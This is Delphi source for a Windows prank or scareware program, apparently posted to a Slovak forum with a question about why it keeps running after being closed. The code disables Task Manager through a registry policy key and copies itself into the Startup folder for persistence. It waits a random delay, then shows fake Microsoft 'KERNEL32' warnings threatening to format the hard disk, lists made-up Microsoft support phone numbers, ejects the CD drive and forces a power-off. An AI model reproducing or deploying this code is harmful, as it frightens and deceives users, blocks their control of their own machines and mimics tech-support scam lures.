unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DjH, RobotUnit, StdCtrls, ExtCtrls, jpeg, ComObj, Adodb, registry;
type
TForm1 = class(TForm)
Image1: TImage;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function WindowsExit(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd) ;
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid) ;
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg) ;
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired) ;
end;
end;
Result := ExitWindowsEx(RebootParam, 0) ;
end;
procedure TForm1.FormCreate(Sender: TObject);
var rest,restart,i:integer;
f:textfile;
reg:tregistry;
begin
CreateRegKey('Software\Microsoft\Windows\CurrentVersion\Policies\System','DisableTaskMgr','1',HKEY_CURRENT_USER);
form1.Visible:=false;
copyfile('project2.exe','D:\Documents and Settings\All Users.Windows\Start Menu\Programs\Startup\project2.exe',false);
copyfile('project2.exe','C:\Documents and Settings\All Users.Windows\Start Menu\Programs\Startup\project2.exe',false);
randomize;
reg.Rootkey:=HKEY_CURRENT_USER;
if not(reg.keyexists('licence')) then sleep(random(14400000));
reg.CreateKey('licence');
form1.Visible:=true;
form1.Height:=257;
form1.Width:=729;
opendrive;
memo1.Clear;
i:=61;
repeat
wait(1000);
memo1.clear;
memo1.lines.add('We are sorry for troubles with Windows XP.');
memo1.lines.add('You must insert the install CD with Windows XP into your CD drive.');
memo1.lines.add('KERNEL32 must be repaired from this CD.');
memo1.lines.add('If you don'+#39+'t do this, you are risking that KERNEL32 format your HDD and all your data will be deleted.');
dec(i);
memo1.lines.Add('You have '+inttostr(i)+' seconds to determine!');
until i=0;
closedrive;
memo1.Clear;
memo1.lines.add('Please phone to microsoft and say about this problem');
memo1.lines.Add('Microsoft support centers:');
memo1.lines.add('USA : 0800 426 365');
memo1.lines.add('EUROPE : 0800 256 416');
memo1.lines.Add('Australia : 0800 267 489');
memo1.Lines.Add('');
wait(250);
memo1.lines.add('We are sorry...');
memo1.lines.Add('Your HDD must be formatted.');
memo1.lines.Add('The system must be shut down to format HDD.');
memo1.lines.Add('The system is shutting down');
memo1.lines.add('This shutdown was initialized by KERNEL32');
DeleteRegKey('licence',HKEY_CURRENT_USER);
wait(3000);
windowsExit(EWX_POWEROFF);
end;
procedure TForm1.FormResize(Sender: TObject);
begin
form1.Height:=257;
form1.Width:=729;
end;
end.
Nevie mi niekto povedat, co sposobi, ze program bezi aj po zatvoreni?
Niezeby som sa stazoval, ale nebol to umysel.
|